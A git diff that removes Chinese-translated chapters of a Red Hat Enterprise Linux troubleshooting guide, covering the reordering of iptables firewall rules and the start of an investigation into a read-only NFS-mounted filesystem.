-COMMIT -# Completed on Mon Mar 30 02:27:35 2015 -# Generated by iptables-save v1.4.21 on Mon Mar 30 02:27:35 2015 -*filter -:INPUT ACCEPT [0:0] -:FORWARD ACCEPT [0:0] -:OUTPUT ACCEPT [140:11432] --A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT --A INPUT -p icmp -j ACCEPT --A INPUT -i lo -j ACCEPT --A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT --A INPUT -j REJECT --reject-with icmp-host-prohibited --A INPUT -p tcp -m state --state NEW -m tcp --src 192.168.0.0/16 -- dport 3306 -j ACCEPT --A FORWARD -j REJECT --reject-with icmp-host-prohibited -COMMIT -# Completed on Mon Mar 30 02:27:35 2015 - -``` - -这个文件的内容与`iptables -L`的输出略有不同。 前面的规则实际上只是可以添加到`iptables`命令的选项。 例如,如果我们想添加一个允许流量到端口 22 的规则,我们可以简单地使用`-dport 22`复制并粘贴前面的规则,并预先使用`iptables`命令。 下面是该命令的示例: - -```sh -iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT - -``` - -当`iptables`服务脚本添加`iptables`规则时,它们也只是将这些规则附加到`iptables`命令中。 - -从`iptables`文件的内容中,我们可以看到需要重新排序的两条规则: - -```sh --A INPUT -j REJECT --reject-with icmp-host-prohibited --A INPUT -p tcp -m state --state NEW -m tcp --src 192.168.0.0/16 -- dport 3306 -j ACCEPT - -``` - -为了解决我们的问题,我们可以简单地将这两个规则更改为匹配以下规则: - -```sh --A INPUT -p tcp -m state --state NEW -m tcp --src 192.168.0.0/16 -- dport 3306 -j ACCEPT --A INPUT -j REJECT --reject-with icmp-host-prohibited - -``` - -一旦更改完成,我们可以通过按*Esc*然后`:wq in vi`来**保存**并**退出**文件。 - -#### 测试我们的更改 - -现在文件已经保存,我们应该能够简单地重新启动`iptables`服务,并且将应用规则。 唯一的问题是,如果我们没有正确地编辑我们的`iptables`文件会怎样? - -我们当前的`iptables`配置有一个规则,它会阻塞所有的通信,除了它上面的规则允许的连接。 如果我们不小心将该规则放在允许端口 22 的规则之前会怎样? 这将意味着当我们重新启动`iptables`服务时,我们将不再能够建立 SSH 连接,因为这是我们管理此服务器的唯一方法,这个简单的错误可能会产生严重的后果。 - -在对`iptables`进行更改时,应该始终保持谨慎。 即使只是简单地重新启动`iptables`服务,最好还是查看`/etc/sysconfig/iptables`中保存的规则,以确保没有意外的更改会将用户和您自己锁定在系统管理之外。 - -为了避免这种情况,我们可以使用`screen`命令。 `screen`命令用于打开即使我们的 SSH 会话断开连接也会继续运行的伪终端。 这是真的,即使断开是由于防火墙的变化。 - -要启动屏幕,我们只需执行命令`screen`: - -```sh -[db]# screen - -``` - -进入`screen`会话后,我们要做的不仅仅是重新启动`iptables`。 实际上,我们要写一个`bash`一行程序,重新启动`iptables`,将输出打印到屏幕上,让我们知道会话仍然工作,等待两分钟,然后最终停止`iptables`服务: - -```sh -[db]# systemctl restart iptables; echo "still here?"; sleep 120; systemctl stop iptables - -``` - -当我们运行这个命令时,我们将看到以下两种情况之一:要么我们的 SSH 会话将关闭,这可能意味着我们的`iptables`规则中出现了错误,要么我们将在屏幕上看到一条消息,说**仍然在这里?** 。 - -如果我们看到**还在这里?** 消息,这意味着我们的`iptables`规则没有锁定我们的 SSH 会话: - -```sh -[db]# systemctl restart iptables.service; echo "still here?"; sleep 120; systemctl stop iptables.service -still here? - -``` - -由于命令已经完成,并且我们的 SSH 会话没有终止,我们现在可以简单地重新启动`iptables`,并且确信我们不会被锁定。 - -### 提示 - -当规则到位时,不结束前一个 SSH 会话,建立一个新的 SSH 会话总是一个好主意。 这验证了您可以发起新的 SSH 会话,如果它不起作用,您仍然可以使用旧的 SSH 会话来解决问题。 - -当我们重新开始`iptables`这一次,我们的新规则将到位: - -```sh -# systemctl restart iptables.service -# iptables -L -nv -Chain INPUT (policy ACCEPT 0 packets, 0 bytes) - pkts bytes target prot opt in out source destination - 15 852 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED - 0 0 ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0 - 0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 - 0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 - 0 0 ACCEPT tcp -- * * 192.168.0.0/16 0.0.0.0/0 state NEW tcp dpt:3306 - 0 0 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited - -``` - -现在,我们可以看到,接受端口`3306`流量的规则位于默认的拒绝规则之前。 如果我们刷新浏览器,我们还可以验证`iptables`更改修正了问题。 - -![Testing our changes](img/00008.jpeg) - -看起来确实如此! - -如果我们在详细模式下的`iptables`列表中再看一遍,我们也可以看到我们的规则匹配得如何: - -```sh -# iptables -L -nv -Chain INPUT (policy ACCEPT 0 packets, 0 bytes) - pkts bytes target prot opt in out source destination - 119 19352 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED - 0 0 ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0 - 0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 - 0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 - 2 120 ACCEPT tcp -- * * 192.168.0.0/16 0.0.0.0/0 state NEW tcp dpt:3306 - 39 4254 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited - -``` - -从`iptables`中的统计数据可以看到,现在有两个数据包匹配了我们的规则。 结合工作网站,这意味着我们在订购上的小修正在上对`iptables`允许或拒绝的内容产生了巨大的差异。 - -# 总结 - -在本章中,我们经历了一个看似简单的网络问题,我们的博客应用连接到它的数据库。 在我们的数据收集阶段,我们使用了`netstat`和`tcpdump`等命令来检查网络数据包,并迅速发现博客服务器正在接收一个 ICMP 数据包,表明数据库服务器正在拒绝博客服务器的 TCP 数据包。 - -从那时起,我们怀疑问题是防火墙的问题,在使用`iptables`命令进行调查后,我们注意到防火墙规则发生了混乱。 - -之后,我们可以使用*试错*阶段来解决这个问题。 这是一个非常普遍的问题,我个人在很多不同的环境中都看到过。 这主要是由于缺乏关于`iptables`如何工作以及如何正确定义规则的知识。 虽然本章只涵盖了`iptables`中错误配置的一种类型,但本章中使用的一般故障排除方法可以应用于大多数情况。 - -在[第七章](07.html#19UOO2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 7. Filesystem Errors and Recovery"),*和恢复文件系统错误,我们将开始探索文件系统错误和如何摆脱这种棘手的话题,一个错误的命令可能意味着数据丢失,没有系统管理员想看到的东西。***** \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/07.md b/docs/rhel-troubleshoot-guide/07.md deleted file mode 100644 index 38052b8b..00000000 --- a/docs/rhel-troubleshoot-guide/07.md +++ /dev/null @@ -1,1216 +0,0 @@ -# 七、文件系统错误和恢复 - -在[第五章](05.html#UGI01-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 5. Network Troubleshooting"),*网络故障诊断*和[第六章](06.html#1394Q1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 6. Diagnosing and Correcting Firewall Issues"),*诊断和纠正防火墙问题,我们使用了相当多的工具来解决网络连接问题由于配置错误的路线和防火墙。 与网络相关的问题非常常见,两个示例问题也是常见的场景。 在本章中,我们将关注与硬件相关的问题,并从诊断文件系统错误开始。* - - *就像其他章节一样,我们将从发现的错误开始,并排除问题,直到找到原因和解决方案。 在此过程中,我们将发现诊断文件系统问题所需的许多不同命令和日志。 - -# 诊断文件系统错误 - -不像前面的章节中终端用户向我们报告问题,这一次我们为自己发现了一个问题。 当我们在数据库服务器上执行一些日常任务时,我们试图创建一个数据库备份,并收到以下错误: - -```sh -[db]# mysqldump wordpress > /data/backups/wordpress.sql --bash: /data/backups/wordpress.sql: Read-only file system - -``` - -这个错误很有趣,因为它不一定来自`mysqldump`命令,而是来自写入`/data/backups/wordpress.sql`文件的 bash 重定向。 - -如果我们查看这个错误,它是非常特定的,我们试图将备份写到的文件系统是`Read-only`。 `Read-only`是什么意思? - -## 只读文件系统 - -在 Linux 上定义和挂载文件系统时,您有许多选项,但有两个选项最能定义文件系统的可访问性。 两个选项是:`rw`用于读写,**ro**用于只读。 当使用读写选项挂载文件系统时,这意味着可以读取文件系统的内容,具有适当权限的用户可以将新的文件/目录写入文件系统。 - -当文件系统以只读模式挂载时,这意味着虽然用户可以读取文件系统,但新的写请求将被拒绝。 - -## 使用 mount 命令列出已挂载的文件系统 - -由于我们接收到的错误明确地说明文件系统是只读的,所以我们的下一个逻辑步骤是查看挂载在这个服务器上的文件系统。 为此,我们将使用`mount`命令: - -```sh -[db]# mount -proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) -sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime,seclabel) -devtmpfs on /dev type devtmpfs (rw,nosuid,seclabel,size=228500k,nr_inodes=57125,mode=755) -securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime) -tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,seclabel) -devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,seclabel,gid=5,mode=620,ptmxmode=000) -tmpfs on /run type tmpfs (rw,nosuid,nodev,seclabel,mode=755) -tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,seclabel,mode=755) -selinuxfs on /sys/fs/selinux type selinuxfs (rw,relatime) -systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=33,pgrp=1,timeout=300,minproto=5,maxproto=5,direct) -mqueue on /dev/mqueue type mqueue (rw,relatime,seclabel) -hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime,seclabel) -debugfs on /sys/kernel/debug type debugfs (rw,relatime) -sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw,relatime) -nfsd on /proc/fs/nfsd type nfsd (rw,relatime) -/dev/sda1 on /boot type xfs (rw,relatime,seclabel,attr2,inode64,noquota) -192.168.33.13:/nfs on /data type nfs4 (rw,relatime,vers=4.0,rsize=65536,wsize=65536,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=192.168.33.12,local_lock=none,addr=192.168.33.13) - -``` - -在处理文件系统时,`mount`命令非常有用。 它不仅可以用于显示已挂载的文件系统(如上面的命令所示),还可以用于附加(或挂载)和取消附加(卸载)文件系统。 - -### 挂载的文件系统 - -将文件系统称为挂载的文件系统是一种表示文件系统*连接*到服务器的常用方法。 对于文件系统,它们通常有两种状态,要么是附加的(挂载的)并且用户可以访问内容,要么是未附加的(卸载的)并且用户无法访问内容。 在本章后面,我们将介绍使用`mount`命令挂载和卸载文件系统。 - -`mount`命令并不是查看哪些文件系统已挂载或未挂载的唯一方法。 另一种方法是简单地读取`/proc/mounts`文件: - -```sh -[db]# cat /proc/mounts -rootfs / rootfs rw 0 0 -proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0 -sysfs /sys sysfs rw,seclabel,nosuid,nodev,noexec,relatime 0 0 -devtmpfs /dev devtmpfs rw,seclabel,nosuid,size=228500k,nr_inodes=57125,mode=755 0 0 -securityfs /sys/kernel/security securityfs rw,nosuid,nodev,noexec,relatime 0 0 -tmpfs /dev/shm tmpfs rw,seclabel,nosuid,nodev 0 0 -devpts /dev/pts devpts rw,seclabel,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0 -tmpfs /run tmpfs rw,seclabel,nosuid,nodev,mode=755 0 0 -tmpfs /sys/fs/cgroup tmpfs rw,seclabel,nosuid,nodev,noexec,mode=755 0 0 -selinuxfs /sys/fs/selinux selinuxfs rw,relatime 0 0 -systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=33,pgrp=1,timeout=300,minproto=5,maxproto=5,direct 0 0 -mqueue /dev/mqueue mqueue rw,seclabel,relatime 0 0 -hugetlbfs /dev/hugepages hugetlbfs rw,seclabel,relatime 0 0 -debugfs /sys/kernel/debug debugfs rw,relatime 0 0 -sunrpc /var/lib/nfs/rpc_pipefs rpc_pipefs rw,relatime 0 0 -nfsd /proc/fs/nfsd nfsd rw,relatime 0 0 -/dev/sda1 /boot xfs rw,seclabel,relatime,attr2,inode64,noquota 0 0 -192.168.33.13:/nfs /data nfs4 rw,relatime,vers=4.0,rsize=65536,wsize=65536,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=192.168.33.12,local_lock=none,addr=192.168.33.13 0 0 - -``` - -事实上,`/proc/mounts`文件的内容非常接近`mount`命令的输出,主要区别在于每行末尾有两个编号的列。 为了更好地理解这个文件和`mount`命令的输出,让我们更好地看看`/proc/mounts`中的`/boot`文件系统的条目: - -```sh -/dev/sda1 /boot xfs rw,seclabel,relatime,attr2,inode64,noquota 0 0 - -``` - -`/proc/mounts`文件数据在六列——**设备**、**挂载点**,**文件系统类型**、**选择【显示】,和两个未使用的列存在向后兼容性。 为了更好地理解这些值,让我们更好地理解这些列的。** - -第一列`device`指定文件系统使用的设备。 在上述示例中,`/boot`文件系统所在的设备为`/dev/sda1`。 - -从设备(`sda1`)的名称,我们可以识别出一条关键信息。 这个设备是另一个设备的一个分区,我们可以通过设备名称末尾有一个数字来识别它。 - -设备,从名称上看似乎是一个物理驱动器(假设它是一个硬盘驱动器),并被命名为`/dev/sda`; 该驱动器至少有一个分区,该分区的设备名称为`/dev/sda1`。 每当一个驱动器上有分区时,这些分区被创建为它们自己的设备,每个设备被分配一个数字; 在本例中是 1,这意味着它是第一个分区。 - -### 使用 fdisk 列出可用分区 - -我们可以通过查看正在使用`fdisk`命令的`/dev/sda`设备来验证这一点: - -```sh -[db]# fdisk -l /dev/sda - -Disk /dev/sda: 42.9 GB, 42949672960 bytes, 83886080 sectors -Units = sectors of 1 * 512 = 512 bytes -Sector size (logical/physical): 512 bytes / 512 bytes -I/O size (minimum/optimal): 512 bytes / 512 bytes -Disk label type: dos -Disk identifier: 0x0009c844 - - Device Boot Start End Blocks Id System -/dev/sda1 * 2048 1026047 512000 83 Linux -/dev/sda2 1026048 83886079 41430016 8e Linux LVM - -``` - -`fdisk`命令可能比较熟悉,因为它是一个用于创建磁盘分区的跨平台命令。 但是,它也可以用于列出分区。 - -在前面的命令中,我们使用`–l`(list)标志列出分区,后面跟着我们想要查看的设备—`/dev/sda`。 然而,`fdisk`命令向我们显示的远不止这个驱动器上可用的分区。 它还显示了磁盘的大小: - -```sh -Disk /dev/sda: 42.9 GB, 42949672960 bytes, 83886080 sectors - -``` - -我们可以在从`fdisk`命令打印的第一行中看到这一点,根据这一行,我们的设备`/dev/sda`的大小为`42.9 GB`。 如果我们往输出的底部看,我们还可以看到在这个磁盘上创建的分区: - -```sh - Device Boot Start End Blocks Id System -/dev/sda1 * 2048 1026047 512000 83 Linux -/dev/sda2 1026048 83886079 41430016 8e Linux LVM - -``` - -从上面的列表中可以看出,`/dev/sda`有两个分区`/dev/sda1`和`/dev/sda2`。 使用`fdisk`,我们已经能够确定关于这个文件系统物理设备的相当多的细节。 如果我们继续看`/proc/mounts`的细节,我们应该能够找出一些其他非常有用的信息,如下: - -```sh -/dev/sda1 /boot xfs rw,seclabel,relatime,attr2,inode64,noquota 0 0 - -``` - -上一行中的第二列*挂载点*表示这个文件系统被挂载到的路径。 在本例中,路径为`/boot`; `/boot`本身不过是`/`(根)文件系统上的一个目录。 但是,一旦设备`/dev/sda1`上存在的文件系统被装入`/boot`,现在它就是自己的文件系统了。 - -为了更好地理解这个概念,我们将使用`mount`和`umount`命令来附加和分离`/boot`文件系统: - -```sh -[db]# ls /boot/ -config-3.10.0-123.el7.x86_64 -grub -grub2 -initramfs-0-rescue-dee83c8c69394b688b9c2a55de9e29e4.img -initramfs-3.10.0-123.el7.x86_64.img -initramfs-3.10.0-123.el7.x86_64kdump.img -initrd-plymouth.img -symvers-3.10.0-123.el7.x86_64.gz -System.map-3.10.0-123.el7.x86_64 -vmlinuz-0-rescue-dee83c8c69394b688b9c2a55de9e29e4 -vmlinuz-3.10.0-123.el7.x86_64 - -``` - -如果我们在`/boot`路径上执行一个简单的`ls`命令,我们可以在这个目录中看到相当多的文件。 从`/proc/mounts`文件和`mount`命令中,我们知道有一个文件系统附加到`/boot`: - -```sh -[db]# mount | grep /boot -/dev/sda1 on /boot type xfs (rw,relatime,seclabel,attr2,inode64,noquota) - -``` - -为了卸载或卸载这个文件系统,我们可以使用`umount`命令: - -```sh -[db]# umount /boot -[db]# mount | grep /boot - -``` - -`umount`命令有一个非常简单的任务,它卸载挂载的文件系统。 - -### 提示 - -上述命令是卸载文件系统的示例,说明卸载文件系统可能是危险的。 通常,在卸载文件系统之前,您应该首先验证文件系统没有被积极地访问。 - -既然现在已经卸载了`/boot`文件系统,那么当我们执行`ls`命令时会发生什么呢? - -```sh -# ls /boot - -``` - -路径`/boot`仍然有效。 然而,它现在只是一个空目录。 这是由于`/dev/sda1`上的文件系统没有安装; 因此,该文件系统上存在的任何文件目前都不能在这个系统上访问。 - -如果我们使用`mount`命令重新挂载文件系统,我们将看到文件重新出现: - -```sh -[db]# mount /boot -[db]# ls /boot -config-3.10.0-123.el7.x86_64 -grub -grub2 -initramfs-0-rescue-dee83c8c69394b688b9c2a55de9e29e4.img -initramfs-3.10.0-123.el7.x86_64.img -initramfs-3.10.0-123.el7.x86_64kdump.img -initrd-plymouth.img -symvers-3.10.0-123.el7.x86_64.gz -System.map-3.10.0-123.el7.x86_64 -vmlinuz-0-rescue-dee83c8c69394b688b9c2a55de9e29e4 -vmlinuz-3.10.0-123.el7.x86_64 - -``` - -正如我们所看到的,当给`mount`命令一个 path 参数时,该命令将尝试`mount`该文件系统。 但是,当没有指定参数时,`mount`命令将只显示当前挂载的文件系统。 - -在本章的后面,我们将探索使用`mount`以及它如何理解应该在哪里以及如何安装文件系统; 现在,让我们看看`/proc/mounts`输出中的下一列: - -```sh -/dev/sda1 /boot xfs rw,seclabel,relatime,attr2,inode64,noquota 0 0 - -``` - -第三列文件系统类型表示所使用的文件系统类型。 在许多操作系统中,尤其是 Linux,通常可以使用不止一种类型的文件系统。 在前面的例子中,我们的引导文件系统被设置为`xfs`,这在 Red Hat Enterprise Linux 7 中是新的默认文件系统。 - -在`xfs`之前,旧版本的 Red Hat 默认使用`ext3`或`ext4`文件系统。 Red Hat 仍然支持`ext3/4`文件系统和其他文件系统,因此`/proc/mounts`文件中可能列出了许多不同的文件系统类型。 - -对于`/boot`文件系统,知道文件系统类型并不是立即有用的; 然而,知道如何查找底层的文件系统类型可能是我们深入研究这个问题: - -```sh -/dev/sda1 /boot xfs rw,seclabel,relatime,attr2,inode64,noquota 0 0 - -``` - -第四列选项显示文件系统所使用的选项。 - -当挂载一个文件系统时,可以为该文件系统提供特定的选项,以便更改文件系统的默认行为。 在前面的例子中,提供了相当多的选项; 让我们分解这个列表,以便更好地理解指定的内容: - -* **rw**:以读写方式挂载文件系统 -* **seclabel**:这个选项是由 SELinux 添加的,以表明该文件系统支持标签的额外属性 -* **relative**:这个告诉文件系统,如果访问时间比文件/目录的修改或更改时间值早,那么只修改访问时间 -* **attr2**:这个支持改进内联扩展属性在磁盘上的存储方式 -* **inode64**:这个允许文件系统创建长度大于 32 位的 inode 编号 -* **noquota**:此禁用该文件系统的磁盘配额和强制执行 - -正如我们从描述中看到的,这些选项可以极大地改变文件系统的行为方式。 在诊断任何文件系统问题时,它们也非常重要: - -```sh -/dev/sda1 /boot xfs rw,seclabel,relatime,attr2,inode64,noquota 0 0 - -``` - -输出`/proc/mounts`的最后两列表示为`0 0`,实际上在`/proc/mounts`中没有使用。 这些列实际上只是为`/etc/mtab`的向后功能而添加的,这是一个类似的文件,但是不像`/proc/mounts`那样被认为是最新的。 - -这两个文件的不同之处在于它们的用法。 `/etc/mtab`文件是为用户或应用设计的,以便在`/proc/mounts`文件由内核本身使用的地方读取和利用它。 因此,`/proc/mounts`文件被认为是最权威的版本。 - -### 回到故障诊断 - -如果我们回到手头的问题,我们在将备份写到`/data/backups`目录时收到了一个错误。 使用`mount`命令,我们可以确定该目录存在于哪个文件系统上: - -```sh -# mount | grep "data" -192.168.33.13:/nfs on /data type nfs4 (rw,relatime,vers=4.0,rsize=65536,wsize=65536,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=192.168.33.12,local_lock=none,addr=192.168.33.13) - -``` - -现在我们更好地理解了`mount`命令的格式,我们可以从前面的命令行中识别一些关键信息。 我们可以看到,这个文件系统的设备设置为`192.168.33.13:/nfs`,`mount`点(`path`把)设置为(`/data`),文件系统的类型是(`nfs4`),和文件系统有相当多的选项集。 - -# NFS -网络文件系统 - -查看`/data`文件系统,我们可以看到文件系统类型被设置为`nfs4`。 这种文件系统类型意味着该文件系统是一个**网络文件系统**(**NFS**)。 - -NFS 是一种允许服务器与其他远程服务器共享导出目录的服务。 文件系统类型是一种特殊的文件系统,它允许远程服务器像访问标准文件系统一样访问该服务。 - -文件系统类型中的`4`表示要使用的版本,这意味着远程服务器将使用 NFS 协议的 version 4。 - -### 提示 - -目前,最流行的 NFS 版本是版本 3 和版本 4,其中 4 是 Red Hat Enterprise Linux 6 和 7 的默认版本。 版本 3 和版本 4 之间有很多不同之处; 然而,这些差异并不足以对我们的故障排除方法产生影响。 如果您发现自己在使用 NFS 版本 3 时遇到了问题,那么您很可能会遵循与本章相同的步骤类型。 - -现在我们已经确定了文件系统是一个 NFS 文件系统,让我们看看它被挂载的选项: - -```sh -192.168.33.13:/nfs on /data type nfs4 (rw,relatime,vers=4.0,rsize=65536,wsize=65536,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=192.168.33.12,local_lock=none,addr=192.168.33.13) - -``` - -从我们收到的错误来看,文件系统似乎是`Read-Only`,但是如果我们查看选项,列出的第一个选项是`rw`。 这意味着 NFS 文件系统本身已经被挂载为`Read-Write`; 这应该允许对这个文件系统进行写操作。 - -要测试问题是出在路径`/data/backups`还是挂载的文件系统`/data`,我们可以使用`touch`命令来测试在这个文件系统中创建一个文件: - -```sh -# touch /data/file.txt -touch: cannot touch '/data/file.txt': Read-only file system - -``` - -即使是`touch`命令也不能在这个文件系统上创建一个新文件。 这清楚地表明文件系统有问题; 唯一的问题是什么导致了这个问题。 - -如果我们看一下这个文件系统所使用的选项,没有什么会导致文件系统成为`Read-Only`; 这意味着问题很可能不在于如何安装文件系统,而在于其他方面。 - -由于这个问题似乎与 NFS 文件系统的挂载方式无关,而且该文件系统是基于网络的,因此下一步应该检查到 NFS 服务器的网络连接。 - -## NFS 和网络连接 - -与网络故障排除一样,我们的第一个测试将是 pingNFS 服务器,看看是否得到响应; 但问题是:*我们应该 ping 哪个服务器?* - -答案在文件系统所使用的设备名称中(`192.168.33.13:/nfs`)。 挂载 NFS 文件系统时,设备的格式为`:`。 对于我们的示例,这意味着我们的`/data`文件系统正在从服务器`192.168.33.13`挂载`/nfs`目录。 为了测试连接性,我们可以简单地`ping`IP`192.168.33.13`: - -```sh -[db]# ping 192.168.33.13 -PING 192.168.33.13 (192.168.33.13) 56(84) bytes of data. -64 bytes from 192.168.33.13: icmp_seq=1 ttl=64 time=0.495 ms -64 bytes from 192.168.33.13: icmp_seq=2 ttl=64 time=0.372 ms -64 bytes from 192.168.33.13: icmp_seq=3 ttl=64 time=0.364 ms -64 bytes from 192.168.33.13: icmp_seq=4 ttl=64 time=0.337 ms -^C ---- 192.168.33.13 ping statistics --- -4 packets transmitted, 4 received, 0% packet loss, time 3001ms -rtt min/avg/max/mdev = 0.337/0.392/0.495/0.060 ms - -``` - -从`ping`的结果来看,NFS 服务器已经启动; 但是 NFS 服务呢? 我们可以通过对 NFS 端口使用`curl`命令`telnet`来验证到 NFS 服务的连接。 但是,首先,我们需要确定应该连接到哪个端口。 - -在前面的章节中,在对数据库连接进行故障诊断时,我们主要使用知名的端口; 因为 NFS 使用几个端口,这些端口不太常见; 我们需要确定连接到哪个端口: - -最简单的方法是在`/etc/services`文件中搜索端口: - -```sh -[db]# grep nfs /etc/services -nfs 2049/tcp nfsd shilp # Network File System -nfs 2049/udp nfsd shilp # Network File System -nfs 2049/sctp nfsd shilp # Network File System -netconfsoaphttp 832/tcp # NETCONF for SOAP over HTTPS -netconfsoaphttp 832/udp # NETCONF for SOAP over HTTPS -netconfsoapbeep 833/tcp # NETCONF for SOAP over BEEP -netconfsoapbeep 833/udp # NETCONF for SOAP over BEEP -nfsd-keepalive 1110/udp # Client status info -picknfs 1598/tcp # picknfs -picknfs 1598/udp # picknfs -shiva_confsrvr 1651/tcp shiva-confsrvr # shiva_confsrvr -shiva_confsrvr 1651/udp shiva-confsrvr # shiva_confsrvr -3d-nfsd 2323/tcp # 3d-nfsd -3d-nfsd 2323/udp # 3d-nfsd -mediacntrlnfsd 2363/tcp # Media Central NFSD -mediacntrlnfsd 2363/udp # Media Central NFSD -winfs 5009/tcp # Microsoft Windows Filesystem -winfs 5009/udp # Microsoft Windows Filesystem -enfs 5233/tcp # Etinnae Network File Service -nfsrdma 20049/tcp # Network File System (NFS) over RDMA -nfsrdma 20049/udp # Network File System (NFS) over RDMA -nfsrdma 20049/sctp # Network File System (NFS) over RDMA - -``` - -`/etc/services`文件是一个静态文件,包含在许多 Linux 发行版中。 它被用作查找将网络端口映射到一个简单的人类可读的名称。 从前面的输出可以看到,名称`nfs`被映射到 TCP 端口`2049`; 这是 NFS 服务的默认端口。 我们可以利用这个端口来测试连通性,如下所示: - -```sh -[db]# curl -vk telnet://192.168.33.13:2049 -* About to connect() to 192.168.33.13 port 2049 (#0) -* Trying 192.168.33.13... -* Connected to 192.168.33.13 (192.168.33.13) port 2049 (#0) - -``` - -我们的`telnet`似乎成功了; 我们可以使用命令`netstat`进一步验证它: - -```sh -[db]# netstat -na | grep 192.168.33.13 -tcp 0 0 192.168.33.12:756 192.168.33.13:2049 ESTABLISHED - -``` - -似乎连接不是问题,如果我们的问题与连接无关,那么可能是关于 NFS 共享的配置方式。 - -实际上,我们可以通过一个命令——`showmount`来验证 NFS 共享的设置和网络连接。 - -## 使用 showmount 命令 - -`showmount`命令可以用来显示通过`-e`(显示 exports)标志导出的目录。 该命令通过查询指定主机上的 NFS 服务来实现。 - -对于我们的问题,我们将在`192.168.33.13`查询 NFS 服务: - -```sh -[db]# showmount -e 192.168.33.13 -Export list for 192.168.33.13: -/nfs 192.168.33.0/24 - -``` - -`showmount`命令的格式有两列。 第一列是共享目录。 第二个是共享目录的网络或主机名。 - -在前面的示例中,我们可以看到从这个主机共享的目录是`/nfs`目录。 这也与设备名称`192.168.33.13:/nfs`中列出的目录相匹配。 - -目录与`/nfs`共享的网络是`192.166.33.0/24`网络,正如我们在网络连接一章中了解到的,它是`192.168.33.0`到`192.168.33.255`的简称。 从以前的故障排除中,我们已经知道我们所在的数据库服务器在该网络中。 - -我们还可以看到,自从之前执行`netstat`命令以来,这一点没有改变: - -```sh -[db]# netstat -na | grep 192.168.33.13 -tcp 0 0 192.168.33.12:756 192.168.33.13:2049 ESTABLISHED - -``` - -`netstat`命令的第四列显示`ESTABLISHED`TCP 连接使用的本端 IP 地址。 通过前面的输出,我们可以看到`192.168.33.12`地址是数据库服务器的 IP(如前面章节所示)。 - -到目前为止,关于这个 NFS 共享的所有内容看起来都是正确的,从这里开始,我们需要登录到 NFS 服务器来继续进行故障排除。 - -## NFS 服务器配置 - -登录到 NFS 服务器后,首先要检查的是 NFS 服务是否在运行: - -```sh -[db]# systemctl status nfs -nfs-server.service - NFS server and services - Loaded: loaded (/usr/lib/systemd/system/nfs-server.service; enabled) - Active: active (exited) since Sat 2015-04-25 14:01:13 MST; 17h ago - Process: 2226 ExecStart=/usr/sbin/rpc.nfsd $RPCNFSDARGS (code=exited, status=0/SUCCESS) - Process: 2225 ExecStartPre=/usr/sbin/exportfs -r (code=exited, status=0/SUCCESS) - Main PID: 2226 (code=exited, status=0/SUCCESS) - CGroup: /system.slice/nfs-server.service - -``` - -使用`systemctl`,我们可以简单地查看服务状态; 从前面的输出来看是正常的。 这是意料之中的事,因为我们既可以通过`telnet`访问 NFS 服务,又可以使用`showmount`命令查询它。 - -### 探索/etc/exports - -由于 NFS 服务正在运行且健康,因此下一步是检查定义导出哪些目录以及如何导出目录的配置; `/etc/exports`文件: - -```sh -[nfs]# ls -la /etc/exports --rw-r--r--. 1 root root 40 Apr 26 08:28 /etc/exports -[nfs]# cat /etc/exports -/nfs 192.168.33.0/24(rw,no_root_squash) - -``` - -该文件的格式实际上类似于`showmount`命令的输出。 - -第一列是要共享的目录,第二列是要共享它的网络。 但是,在这个文件中,在网络定义之后还有一些附加信息。 - -网络/子网列后面是一组括号,其中包含各种`NFS`选项。 这些选项的工作原理与我们在`/proc/mounts`文件中看到的挂载选项非常相似。 - -这些选项可能是我们的`Read-Only`文件系统的根本原因吗? 很有可能。 让我们分解这两种选择,以便更好地理解: - -* `rw`:允许对共享目录进行读写操作 -* `no_root_squash`:禁用`root_squash`; `root_squash`是一个将根用户映射为匿名用户的系统 - -不幸的是,这些选项中的都不会强制文件系统处于`Read-Only`模式。 事实上,根据这些选项的描述,他们似乎建议这个 NFS 共享应该处于`Read-Write`模式。 - -在对`/etc/exports`文件执行`ls`时出现了一个有趣的事实: - -```sh -[nfs]# ls -la /etc/exports --rw-r--r--. 1 root root 40 Apr 26 08:28 /etc/exports - -``` - -`/etc/exports`文件最近被修改。 可能我们共享的文件系统实际上是作为`Read-Only`共享的,但是最近有人更改了`/etc/exports`文件,将文件系统导出为`Read-Write`。 - -这种情况是完全可能的,而且实际上是 NFS 的一个常见问题。 NFS 